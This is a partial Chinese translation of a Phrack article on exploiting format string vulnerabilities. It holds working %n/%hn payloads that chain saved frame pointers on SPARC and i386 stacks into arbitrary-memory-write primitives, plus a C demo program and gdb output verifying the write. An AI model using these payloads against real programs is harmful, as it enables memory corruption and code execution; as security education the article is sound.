Advances in format string exploitation

原文地址:http://www.phrack.org/archives/59/p59_0x07_Advances in format string exploitation_by_riq & gera.txt

只翻译了部分小节。


--[ 6. The SPARC stack



  在堆栈中,你将会找到栈帧。这些栈帧包含局部变量,寄存器,指向前一个栈帧的指针,返回地址等。
  由于通过format string, 我们可以看到栈。我们更仔细的学习一下。
  SPARc栈帧看起来如下:


          frame 0              frame 1               frame 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...   
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...   
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]


  等等...


  fp寄存器是一个指向调用者帧的指针。你可能猜到,"fp" means frame pointer
  temp_N是存在栈里的局部变量。frame1从frame0局部变量结束的地方开始。frame2从frame1局部变量结束的地方开始...
  所有这些帧都存储在栈里面。所以我们可以通过format string看到全部的栈帧


  --[ 7. the trick


  这个技巧的基于一个事实:每个栈帧都有一个指向前一个栈帧的指针。而且这种指针越多越好
  为什么?因为如果我们有一个指向我们栈帧的指针,我们可以覆盖那个地址,使其指向任何地方。


--[ 7.1. example 1


  加入我们想把0x1234写到frame的第十个偏移。我们要做的是:创建一个format string,当我们
到达stackframe0的fp指针时,其长度0x1234并且含有%n.
  假如我们首先看到的参数是frame0的10哥寄存器,我们应该有一个类似如下的format string(python版本):


  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 'i' registers
  '%4640d'  +     # modify the length of my string (4640 is 0x1220) and...
  '%n'            # I write where fp is pointing (which is frame 1's l0)


  所以,format string被执行后,我们的stack应该开起来如下:


          frame 0              frame 1 
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]




--[ 7.2. example 2


  如果我们决定写一个大数据,例如0x20001234,我们应该在栈里面找到两个指向同一地址的指针。
他应该如下:


          frame 0              frame 1 
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]


  [注意:我们不会找两个指向同一地址的指针,虽然它很常见]


  所以我们的format string应该看起来如下:


  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 registers 'i'
  '%4640d'  +     # modify the length of my format string (4640 is 0x1220)
  '%n'            # I write where fp is pointing (which is frame 1's l0)
  '%3530d'  +     # again, I modify the length of the format string
  '%hn'           # and I write again, but only the hi part this time! #hn高位, 参考man 3 printf


  并且我们将会得到如下结果:
          frame 0              frame 1 
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]




--[ 7.3. example 3


  如果我们只有一个指针,我们可以在format string中通过用含有%argument_number$的"direct parameter access"获得同样的结果。
argument_number是1-30之间的数(in Solaris).
  这时format string应该看起来如下:
    '%4640d' +  # change the length
    '%15$n'  +  # I write where argument 15 is pointing (arg 15 is fp!)
    '%3530d' +  # change the length again
    '%15$hn'    # write again, but only the hi part!


  所以我们获得相同的结果:


          frame 0              frame 1 
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...   
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...   
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]


--[ 7.4. example 4


  但是也有可能发生:没有两个指针指向相同地址,并且第一个指针指向的栈在前30个参数之外的栈。
这时该怎么办?


  记住:通过%n,你可以写一个非常大的数据,例如0x00028000或者更大。同样应该记住,binary's PLT
位与非常低的地址,例如0x0002????,所以通过一个指向栈的指针,你可以获得一个指向binar's PLT的指针。


--[ 8. builind the 4-bytes-write-anything-anywhere primitive


--[ 8.1. example 5


  为了达到把4-bytes长的任意数据写到任意地址的目的,我们应该从stack frame0开始,重复以上的工作。
并且在在其他的stack frame做也同样的工作。我们的结果应该是类似如下:


      frame 0              frame 1               frame 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...   
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...   
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]
  [注:我们想要改变的地址位于0x00029e8c]




  所以,现在我们有两个指针,一个指向0x00029e8c,并且另一个指向0x00029e8e,我们最终达到我们目的了。
现在我们可以exploit这种情况,类似其他任何的format string vulnerability :)
  format string应该如下: 


    '%4640d' +  # change the length
    '%15$n'  +  # with 'direct parameter access' I write the lower part
                # of frame 1's l0
    '%3530d' +  # change the length again
    '%15$hn' +  # overwrite the higher part
    '%9876d' +  # change the length
    '%18$hn' +  # And write like any format string exploit!




    '%8x' * 13+ # pop 13 arguments (from argument 15)我在自己机器上试了一下,printf实现不一样,不是从argument15开始,而是从argument 10开始
    '%6789d' +  # change length
    '%n'     +  # write lower part
    '%8x'    +  # pop
    '%1122d' +  # modify length
    '%hn'    +  # write higher part
    '%2211d' +  # modify length
    '%hn'       # And write, again, like any format string exploit.


  正如你所见,通过一个format string就实现了。但这不是总是可行的。如果我们不能创建两个指针。
我们需要做的是,两次使用format string。


  Step 1. 我们创建一个指向 0x00029e8c的指针,然后我们用"%hn"覆盖0x00029e8c指向的值。
  Step 2. 这次我们使用format string做和之前一样的事,但是通过0x00029e8e,其实不需要两个指针(0x00029e8c and 0x00029e8e)
          因为先用%n写地位在用%hn写高位就可以了,但是你要两次使用同样的地址,只有通过"direct parameter access"才能实现。


--[ 9. the i386 stack 


  利用类似的技术,我们同样可以在i386架构中exploit一个基于堆的format string。
看看他是如何工作的:


        frame 0        frame 1        frame 2        frame 3
       [  ebp  ] ---> [  ebp  ] ---> [  ebp  ] ---> [  ebp  ]
       [       ]      [       ]      [       ]      [       ]
       [       ]      [       ]      [       ]      [       ]
       [ ...   ]      [ ...   ]      [ ...   ]      [ ...   ]


  正如你所见,i368架构和APARC架构类似,主要的区别在于所有的地址是LE(little-endian)存储
         frame0           frame1
        [ LSB | MSB ] ---> [ LSB | MSB ] 
        [           ]      [           ] 




  所以,在SPARC架构下,使用"%n"覆盖地址的LSB,然后用"%hn"覆盖MSB来写入一个指针的技巧,在这里不使用。
  我们需要另一个指针,指向MSB地址,来达到写入的目的。如下:


                    +----------------------------+
                    |                            |
                    |                            V
       [LSB | MSB]  |   [LSB | MSB] ---> [LSB | MSB]
       [         ]  |   [         ]      [         ]
       [         ] -+   [         ]      [         ]
       [  ...    ]      [   ...   ]      [   ...   ]
         Frame B          Frame C          Frame D


  正如你所猜测,这并不常见。所以,我们将要做的是,建立我们需要的指针,然后,使用他们。
  警告!!!我们刚发现这种技术在最新的Linux中不可行,我们甚至不能确信他是否在任何版本中能正常工作(取决于libc/glibc版本)。
但我们知道,至少在OpenBSD, FreeBSD和Solaris中可行。
--[ 9.1. example 6


  这个技巧将需要另一个frame...,然后我们会处理尽可能多的frame。
  
                                 +----------------------------+
                                 |                            |
                                 |                            V
   [LSB | MSB] ---> [LSB | MSB] -+   [LSB | MSB] ---> [LSB | MSB]
   [         ]      [         ]      [         ]      [         ]
   [         ]      [         ]      [         ]      [         ]
   [  ...    ]      [  ...    ]      [   ...   ]      [   ...   ]
     Frame A          Frame B          Frame C          Frame D




  Frame A有一个指向Frame B的指针。特别的,他指向Frame B的esp。所以,我们可以用"%hn"修改Frame B的ebp寄存器的LSB。
并且那就是我们想要的。现在Frame B不再指向Frame C,而是指向Frame D的ebp的MSB。


  我们基于这样一个事实:ebp已经指向stack,并且只改变LSB就足以使其指向另一个frame的ebp。
也许有些问题(如果frame D和Frame C不再同一个 64k的segment--2^16 == 64k),但是我们会在接下来的例子中解决这个问题。


  所以通过4个stack frame,我们可以在stack中建立一个指针,并且通过那个指针,我们可以在内存的任何地方写2-bytes。
如果我们有8哥stack frames,我们可以重复这个过程,来在stack里创建两个指针,这样我们可以在内存里写4-bytes。
--[ 9.2. example 7 - the pointer generator


  有些情况下,我们没有4或8哥stack frames。所以我们能做什么呢?Well,使用"direct parameter access",我们可以使用3个stack
来做一切。并且不只是在任意内存写任意4-bytes,我们甚至可以实现在任意内存写任何东西。
  来看看如何做,使用"direct parameter access",我们的目标,在stack中创建一个0xdfbfddf0地址,然后我们可以在将来通过"%hn"将数据写到这个地址。
step 1:


  Frame B的ebp已经指向Frame C的ebp,所以,首先,我们要改变Frame C的LSB:


         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
  
  因为我们知道Frame B在stack的位置,我们可以用"direct parameter access",并且可能不止一次。
下面我们将会结束如何找到我们需要的direct parameter access number(注:也就是%m$n中的m)。
                 # step 1
    '%.56816u' + # change the length (we want to write 0xddf0)
    '%14$hn'   + # Write where argument 14 is pointing
                 # (arg 14 is Frame B's ebp)


  现在我们把Frame C的ebp改变了。


step 2:
         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C


  由于Frame A的ebp已经指向Frame B的ebp,我们可以用它来改变Frame B的ebp的LSB,并且由于他已经指向Frame C
的ebp的LSB,我可以使他指向Frame C的ebp的MSB,现在我们不会遇到64k segment问题,因为Frame C的ebp的LSB必须与Frame C
的ebp的MSB位与同一个segment。因为它是4-bytes对齐...,很复杂。
  例如如果Frame C位于0xdfbfdd6c,我们将要是Frame B的ebp指向0xdfbfdd6e,所以我们可以写目标的MSB
                # step 2
    '%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0)
    '%6$hn'   + # Write where argument 6 is pointing
                # (assuming arg 6 is Frame A's ebp)


step 3:
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C




  新的Frame B指向 Frame C的ebp的MSB。现在通过一个"direct parameter access",我们可以组建我们需要的地址。
                # step 3
    '%.593u'  + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e)
    '%14$n'   + # Write where argument 14 is pointing
                # (arg 14 is Frame B's ebp)




our result:
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| dfbf]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C


  正如你所见,在Frame C的ebp中,我们有一个指针,现在我们可以用它在任何位置写2-bytes,但是我们使用同一的技巧,
再次使用3个stack frames,来创建另一个指针。
  理论明白了吗?来一个实例。
  下面的例子将会使用3个frame(A, B, C)并且多个parameters access来把0xaabbccdd写到地址0xdfbfddf0。
他在OpenBSC3.0上测试过,可以在其他的系统中测试。我们将知道你如何移植。


  /* fs2.c                                                   *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by [email protected] */


  do_printf(char *msg) {
    printf(msg);
  }
  
  #define FrameC 0xdfbfdd6c
  #define counter(x)      ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a) 
  
  char *write_two_bytes(
      unsigned long where, 
      unsigned short what, 
      int restoreFrameB)
  {
    static char buf[1000]={0};    // enough? sure! :)
    static int a,b=0;
  
    if (restoreFrameB)
      sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
    sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
    sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
    return buf;
  }
  
  int main() {
    char *buf;
    buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
    buf = write_two_bytes(0xdfbfddf2,0xaabb,1);
    do_printf(buf);
  }


  你需要改变的值:
    %6$         number of parameter for Frame A's ebp
    %14$        number of parameter for Frame B's ebp
    %29$        number of parameter for Frame C's ebp
    0xdfbfdd6c  address of Frame C's ebp


  为了获得争取结果:


gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "run until you get to the first call in do_printf"
(gdb) ni
1: x/i $eip  0x17a4 <do_printf+12>:     call   0x208c <_DYNAMIC+140>
(gdb) bt
#0  0x17a4 in do_printf ()
#1  0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8:     0x000020d4      0xdfbfdd70      0xdfbfdd00      0x0000195f
0xdfbfdd08:     0xdfbfddf2      0x0000aabb     [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18:     0x000020d4      0x0000ccdd      0x00000000   |  0x00001937
0xdfbfdd28:     0x00000000      0x00000000   +-[0xdfbfdd6c]<-+  0x0000109c
0xdfbfdd38:     0x00000001      0xdfbfdd74   |  0xdfbfdd7c      0x00002000
0xdfbfdd48:     0x0000002f      0x00000000   |  0x00000000      0xdfbfdff0
0xdfbfdd58:     0x00000000      0x0005a0c8   |  0x00000000      0x00000000
0xdfbfdd68:     0x00002000     [0x00000000]<-+  0x00000001      0xdfbfddd4
0xdfbfdd78:     0x00000000      0xdfbfddeb      0xdfbfde04      0xdfbfde0f
0xdfbfdd88:     0xdfbfde50      0xdfbfde66      0xdfbfde7e      0xdfbfde9e


  OK,是时候获得正确值了。首先,0x1968(来自于bt命令) 是do_printf()函数指向完毕后返回的地方。
在stack中找到他(在本例中,它在0xdfbfdd14)。在其之前的一个word就是Frame A开始的地方,并且是保持Frame A的ebp的地方。
  Great!现在我们需要找到它的direct parameter access number,这样一来,当我们执行函数的时候,
栈里面的第一个word是printf的第一个参数,#0.如果你数,从0开始,往Frame A的ebp方向,将会数到6个words。
那就是我们想要的数字。
  现在定位Frame A的ebp指向哪里,那里就是Frame B的ebp,这里是0xdfbfdd6c。再数一次,你会得到14,第二个需要的值。
Cool,现在Frame B的ebp指向Frame C的ebp,我们已经有了另一个值:0xdfbfdd6c,为了获得需要的最后一个数,再数一遍,直到
到达Frame C的ebp(知道你达到地址0xdfbfdd6c),结果是29.



  现在编辑你的fs.c, 编译它,gdbta,运行ni,你将会看到很多0,然后是:
(gdb) x/x 0xdfbfddf0
0xdfbfddf0:     0xaabbccdd


  很明显,OK了。
  还有一些其他有趣的方法。在本例中,printf没有从main()函数中调用,而是从do_printf函数中调用。
这时人为的来使我们可以玩3个frame。如果在main()里直接调用printf(),你将不会有3个frame。但是你可以通过使用argv和*argv
来达到相同的目的因为你唯一需要的是:一个在栈里的指针,指向栈里的另一个指针(该指针指向栈里的某个地方)。
  
  另一个有趣的方法(甚至比原版还有趣)是,在栈里不是定位一个函数指针,而是一个返回地址。
这个办法将会更简洁(紧需要2个 "%hn",并且两个frame就够了),一次可以bruteforce很多地址,如果你想,你可以使用jmpcode
  
  这次,我们将会把这两个实现留给读者。
  
  值得注意的是,在i386架构中使用这种技术,Frame B破坏了stack frame chain。所以如果你的程序使用Frame C,
那么它可能会segfault,所以你需要在程序crash之前hook执行流。

你可能感兴趣的:(Advances in format string exploitation)